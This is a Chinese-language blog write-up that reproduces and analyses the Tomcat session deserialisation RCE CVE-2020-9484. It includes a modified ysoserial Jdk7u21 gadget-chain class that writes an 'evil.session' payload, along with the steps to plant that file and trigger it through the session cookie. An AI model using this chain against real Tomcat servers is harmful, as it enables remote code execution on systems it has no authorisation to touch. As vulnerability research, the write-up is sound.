CVE-2020-9484 Tomcat Session Rce 复现分析

警告
本文最后更新于 2020-05-25,文中内容可能已过时。

tomcat的rce,可惜不是默认配置。

  1. Tomcat 7.0.99
  2. JDK7u21
  1. <= 9.0.34
  2. <= 8.5.54
  3. <= 7.0.103

修改catalina.bat添加一行

1
set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001

idea配置remote tomcat调试 端口为8001

修改tomcat路径conf目录下的context.xml 在<Context>标签内加入以下配置

1
2
3
4
5
6
7
8
9
  <Manager className="org.apache.catalina.session.PersistentManager" 
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1">
      <Store className="org.apache.catalina.session.FileStore" directory="../sessions" />
  </Manager>

为了方便burp抓包,修改server.xml端口为80

下载ysoserial使用idea导入之后修改jdk7u21的链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package ysoserial.payloads;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload<Object> {

    public static boolean serialize(Object obj, String file) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(file));
            os.writeObject(obj);
            os.close();
            return true;
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            return false;
        }
    }

    public static boolean isApplicableJavaVersion() {
        JavaVersion v = JavaVersion.getLocalVersion();
        return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Jdk7u21.class, args);
    }

    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        serialize(set, "e:/evil.session");
        return set;
    }

}

配置idea参数为

image.png

然后运行生成e:/evil.session文件,将其保存到D:\tomcat\apache-tomcat-7.0.99\work\Catalina\localhost\cve-2020-9484_war\sessions目录中,burp抓包设置session为evil,触发反序列化达成RCE。

image.png

image.png

在php中会将用户session以文件的形式存储到服务器中,java自然也可以,对于大型的企业应用,为了避障会将数据库或者session以文件的形式保存到文件中,那么以文件的形式保存对象自然就涉及到了序列化和反序列化。

通过复现漏洞可知该反序列化入口点在于Context.xml中配置的org.apache.catalina.session.FileStore,查看其代码在load()中发现readObjcet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    public Session load(String id) throws ClassNotFoundException, IOException {
        File file = this.file(id);
        if (file != null && file.exists()) {
            Context context = (Context)this.getManager().getContainer();
            Log containerLog = context.getLogger();
            if (containerLog.isDebugEnabled()) {
                containerLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
            }

            FileInputStream fis = null;
            ObjectInputStream ois = null;
            Loader loader = null;
            ClassLoader classLoader = null;
            ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();

            StandardSession var11;
            try {
                fis = new FileInputStream(file.getAbsolutePath());
                loader = context.getLoader();
                if (loader != null) {
                    classLoader = loader.getClassLoader();
                }

                if (classLoader != null) {
                    Thread.currentThread().setContextClassLoader(classLoader);
                }

                ois = this.getObjectInputStream(fis);
                StandardSession session = (StandardSession)this.manager.createEmptySession();
                session.readObjectData(ois);
                session.setManager(this.manager);
                var11 = session;
                return var11;
            } catch (FileNotFoundException var25) {
                ...
        }
    }

代码很明显,通过id打开session文件,然后获取context的类加载器赋值给当前线程的类加载器,以此拿到当前容器Container中的lib,session.readObjectData(ois)中触发了反序列化RCE。

java/org/apache/catalina/session/FileStore.java 中判断了目录是否有效

image.png

因为通过当前Container的类加载器反序列化对象,所以能拿到当前war包中的lib,所以有什么用什么,什么都没有就用jdk的gatget。

直接使用ysoserial生成的payload不行,在java/io/ObjectInputStream.java:299中会验证前几位字节码,抛出异常,堆栈如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
readStreamHeader:799, ObjectInputStream (java.io)
<init>:299, ObjectInputStream (java.io)
<init>:95, CustomObjectInputStream (org.apache.catalina.util)
getObjectInputStream:237, StoreBase (org.apache.catalina.session)
load:248, FileStore (org.apache.catalina.session)
loadSessionFromStore:789, PersistentManagerBase (org.apache.catalina.session)
swapIn:739, PersistentManagerBase (org.apache.catalina.session)
findSession:517, PersistentManagerBase (org.apache.catalina.session)
doGetSession:3147, Request (org.apache.catalina.connector)
getSession:2489, Request (org.apache.catalina.connector)
getSession:897, RequestFacade (org.apache.catalina.connector)
getSession:909, RequestFacade (org.apache.catalina.connector)
_initialize:147, PageContextImpl (org.apache.jasper.runtime)
initialize:126, PageContextImpl (org.apache.jasper.runtime)
internalGetPageContext:111, JspFactoryImpl (org.apache.jasper.runtime)
getPageContext:64, JspFactoryImpl (org.apache.jasper.runtime)
_jspService:6, index_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:728, HttpServlet (javax.servlet.http)
service:477, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:395, JspServlet (org.apache.jasper.servlet)
service:339, JspServlet (org.apache.jasper.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:303, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
invoke:219, StandardWrapperValve (org.apache.catalina.core)
invoke:110, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:165, StandardHostValve (org.apache.catalina.core)
invoke:104, ErrorReportValve (org.apache.catalina.valves)
invoke:1025, AccessLogValve (org.apache.catalina.valves)
invoke:116, StandardEngineValve (org.apache.catalina.core)
service:452, CoyoteAdapter (org.apache.catalina.connector)
process:1195, AbstractHttp11Processor (org.apache.coyote.http11)
process:654, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
doRun:2532, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:2521, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:722, Thread (java.lang)

具体原因可能是因为yso对于反序列化对象写入文件的操作不一样,自己写一个serialize()就行了

先谈约束条件吧,利用难度还是比较大的。

  1. 不是默认配置,需要手动增加Context.xml
  2. 文件上传 文件后缀需要是.session
  3. 需要知道绝对路径来跨目录

拓展下攻击面,比如redis,这里@l1nk3r师傅公开了另一种使用redis的反序列化场景,问题出现在RedisSession类中,原理和9484差不多,id从jsessionid获取,value是反序列化数据,配合redis任意写入value来触发反序列化。

  1. 另一种使用redis的反序列化场景
  2. https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad
  3. https://www.sec-in.com/article/394
  4. https://www.cnblogs.com/potatsoSec/p/12931427.html

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。